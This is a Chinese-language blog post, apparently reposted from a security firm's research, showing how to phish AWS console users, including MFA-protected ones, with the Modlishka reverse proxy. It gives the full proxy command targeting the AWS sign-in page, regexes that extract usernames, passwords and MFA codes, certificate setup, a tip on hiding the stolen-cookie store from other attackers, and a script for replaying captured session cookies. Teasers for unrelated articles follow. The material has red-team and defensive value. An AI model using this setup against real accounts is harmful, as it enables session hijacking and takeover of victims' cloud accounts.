在AWS上使用MFA钓鱼用户

VSole2022-06-17 15:54:32

网络钓鱼和MFA


社会工程是恶意攻击者未经授权访问其目标环境的最常见方式之一,它利用了所有公司最薄弱的点——人的因素。通常情况下,如果目标正在使用多因素认证(MFA),网络钓鱼活动就会失败。然而,随着防御变得越来越复杂,攻击者及其方法也越来越复杂,这使得 MFA 几乎没有那么有效。

本文将介绍不同的开源选项,帮助针对使用 MFA 的目标和网站执行网络钓鱼攻击。这篇文章,我们将针对 AWS IAM 用户登录,启用(和不启用)MFA 来演示这个概念。我们选择使用 AWS 作为示例的另一个原因是,据我们所知,之前没有发布过关于钓鱼 AWS 用户的研究,而 Rhino 的团队已经在内部使用了一段时间。


MFA 网络钓鱼工具


有一些很棒的开源工具可用于执行 MFA 网络钓鱼活动,例如Evilginx2[1]Modlishka[2]Muraena[3]CredSniper[4]。大多数工具都是在客户端和攻击者运行的服务器之间充当代理。

当攻击目标连接攻击者的服务器时,这个工具将充当受害人和攻击者的钓鱼网站的中间人,以此攻击者可以向受害者提供有效的、动态的、看起来合法的网络钓鱼页面,同时拦截正在进行的任何通信(例如登录)。

到目前为止,这些工具都没有 AWS 模板或与 AWS 相关的任何东西,因此我们决定使用 AWS 作为本文的概念验证目标网站。我们选择在这篇文章中使用 Modlishka,因为它易于设置和配置,并且在多域流量的透明代理方面做得很好。


网络钓鱼基础设施的设置


基础设备


  • 使用带有通配符的DNS来创建一个虚拟子域,并为钓鱼页面的登录界面配置一个域名(例如“example.com”)。

  • 配置相关证书(例如:"*.example.com"),可以通过Let's Encrypt[5]获得。

  • 运行该工具的服务器(公开可访问,开放80和443端口)。

  • 服务器上安装了go语言环境。
  • 有关为您的域设置的 DNS 记录以及如何生成通配符 SSL 证书的简短演练,您可以查看GitHub 上的Modlishka wiki[6]


Modlishka 配置


1.要下载 Modlishka 源,您可以运行以下命令:



go get -u github.com/drk1wi/Modlishka


在编译 Modlishka 之前,我们对源代码进行了一些更改以提高安全性:

修改“Modlishka Cookie Jar”的默认 URL。(cookie jar 是受害者对我们的网络钓鱼页面进行身份验证后存储凭据和 cookie 的地方。Modlishka 在 /plugin/control.go 中设置了 cookie jar 的默认路径,即“/SayHello2Modlishka/”。为了防止其他攻击者发现这一点,我们修改默认路径为一个更加隐秘的目录下。)

2.使用 Modlishka GitHub 存储库中的说明编译二进制文件,编译二进制文件后,我们必须确定配置的外观,以便获取受害者的信任。



./bin/proxy -cert `cat ./our-phishing-domain.com.cert.b64` \-certKey `cat ./our-phishing-domain.com.privkey.b64` \-trackingParam auth \-proxyDomain our-phishing-domain.com \-dynamicMode \-target target-account-alias.signin.aws.amazon.com \-listeningAddress 0.0.0.0 \-credParams dXNlcm5hbWU9KFteXFddKykm,KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik=,KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ==,KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop \-postOnly \-log aws.log


对相关参数/语句解析进行解析一下吧~



生成SSL 证书的 base64 编码版本


cert cat ./our-phishing-domain.com.cert.b64

要使用的 SSL 证书的 base64 编码版本,即“./our-phishing-domain.com.cert.b64”。

我们使用 Let's Encrypt 来生成这个证书,所以我们运行这个命令来获取 base64 编码的版本。



cat /etc/letsencrypt/live/our-phishing-domain.com/cert.pem | base64 –wrap=0 > ./our-phishing-domain.com.cert.b64


生成SSL 证书的 base64 编码版本的私钥


要使用的 SSL 私钥的 base64 编码版本。我们的位于“./our-phishing-domain.com.privkey.b64”。

我们使用 Let's Encrypt 来生成这个私钥,所以我们运行这个命令来获取 base64 编码的版本:



  at /etc/letsencrypt/live/our-phishing-domain.com/privkey.pem | base64 –wrap=0 > ./our-phishing-domain.com.privkey.b64



trackingParam身份验证


用于跟踪客户端的参数名称。它默认为“id”,但我们将其修改为查找“auth”。这有助于尝试跟踪您正在进行网络钓鱼的特定用户。



listeningAddress 0.0.0.0


要侦听的代理服务器的地址。默认在 localhost (127.0.0.1) 上。


credParams


dXNlcm5hbWU9KFteXFddKykm,KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik=,KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ==,KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop

要从身份验证请求中提取的字段的 base64 编码正则表达式。


postOnly


代表 Modlishka 仅记录 HTTP POST 请求(而不是 GET 请求)。


log aws.log


用于存储 Modlishka 登录的本地文件,可以解析出cookie。


当我们运行命令时,我们访问了我们的网络钓鱼域 (our-phishing-domain.com) 以查看一切是否正常。如果一切正常,我们将看到 AWS 网站的山寨版,如下图所示:



钓鱼演练










当受害者点击我们发送的钓鱼邮件中的链接后,他们将会跳转到上图所示的登录页面,实则为我们部署的钓鱼网站。Modlishka 将为每个目标分配他们自己的唯一 ID,以便在他们在整个登录过程中移动时跟踪他们的会话、凭据和 cookie。

因为 Modlishka 只是将 AWS 钓鱼页面代理给我们的受害者,所以无论他们是否启用了 MFA,它都可以对他们进行网络钓鱼。


获取cookie


一旦用户输入他们的 MFA 代码,Modlishka 就会运行并捕捉。它将使用网页控制台创建一个有效的登录会话,存储详细信息,然后将目标用户发送到实际的 AWS 网站并跳转到其他页面。

此时用户的凭据和 cookie 将存储在我们之前讨论过的 cookie jar 中,结果如下图:



模拟登录


我们需要复制cookie并手动将它们输入到浏览器中,我们编写了一个脚本来解析 Modlishka 日志文件并将 cookie 输出为 HTTP 响应标头的格式(“Set-Cookie”)。

然后,我们将它们粘贴到 Burp Suite HTTP 响应中以将它们保存在本地。该脚本可以在我们的GitHub[7]上找到,运行命令为:



python3 parse_modlishka_aws_cookies.py [path to log file] [phishing domain]


此处,我使用的命令:



python3 parse_modlishka_aws_cookies.py ./aws.log our-phishing-domain.com


看到此响应后,您可以关闭 Burp 代理。然后,将重定向到如下页面:



现在,您可以以该用户身份浏览 AWS Web 控制台,可以用受害者账号执行的任何操作。会话将被视为经过 MFA 身份验证的会话,因此您也可以使用任何需要 MFA 的权限。


参考链接


[1] Evilginx2:

https://github.com/kgretzky/evilginx2

[2] Modlishka:

https://github.com/drk1wi/Modlishka

[3] Muraena:

https://github.com/muraenateam/muraena

[4] CredSniper:

https://github.com/ustayready/CredSniper

[5] Let's Encrypt:

https://letsencrypt.org/

[6] Modlishka wiki:

https://github.com/drk1wi/Modlishka/wiki/How-to-use

[7] GitHub:

https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/mfa_phishing/parse_modlishka_aws_cookies.py

网络钓鱼aws
本作品采用《CC 协议》,转载必须注明作者和本文链接
社会工程是恶意攻击者未经授权访问其目标环境的最常见方式之一,它利用了所有公司最薄弱的点——人的因素。通常情况下,如果目标正在使用多因素认证(MFA),网络钓鱼活动就会失败。然而,随着防御变得越来越复杂,攻击者及其方法也越来越复杂,这使得 MFA 几乎没有那么有效。 本文将介绍不同的开源选项,帮助针对使用 MFA 的目标和网站执行网络钓鱼攻击。这篇文章,我们将针对 AWS IAM 用户登录,启用(
网站披露,一个新的网络犯罪活动将钓鱼网站隐藏在谷歌搜索结果中,以窃取亚马逊网络服务(AWS)用户的登录凭据。
任何企业,无论规模大小,是否部署先进的安全工具,都难以抵御网络钓鱼攻击。如今超过90%的数据泄露是由“云钓鱼”为主的网络钓鱼攻击造成的。此外,根据帕洛阿尔托网络Unit42的一份报告,网络钓鱼攻击正在快速增长,从2021年6月到2022年6月,网络钓鱼攻击暴增了1100%。根据CheckPoint的报告,自 2020年以来,使用“多阶段”SaaS到SaaS网络钓鱼攻击的趋势持续增长。
据悉,跨平台加密货币挖掘僵尸网络LemonDuck正在针对开源应用容器引擎Docker,以在Linux系统上挖掘加密货币。
此外,根据Palo Alto Networks发布的一份报告指出,研究人员发现网络钓鱼攻击正在大幅增加,该公司收集的数据显示,从2021年6月到2022年6月,这种攻击大幅增长了1100%。此外,社交媒体上的网络钓鱼也日益普遍,在2022年第一季度,LinkedIn用户成为全球52%的网络钓鱼攻击的目标。在这种情况下,攻击者可以修改组织的源代码来改变和感染最终产品。
近日,亚马逊网络服务公司(AWS)表示,到2024年年中起,将要求所有特权账户使用多因素身份验证(MFA),以提高默认安全性并降低账户被劫持的风险。
微软发现了一系列广泛的凭证网络钓鱼活动,这些活动使用了一个名为 TodayZoo 的自定义网络钓鱼工具包。
如此高的知名度,对于网络钓鱼攻击者来说,就是最合适不过的“诱饵”。
VSole
网络安全专家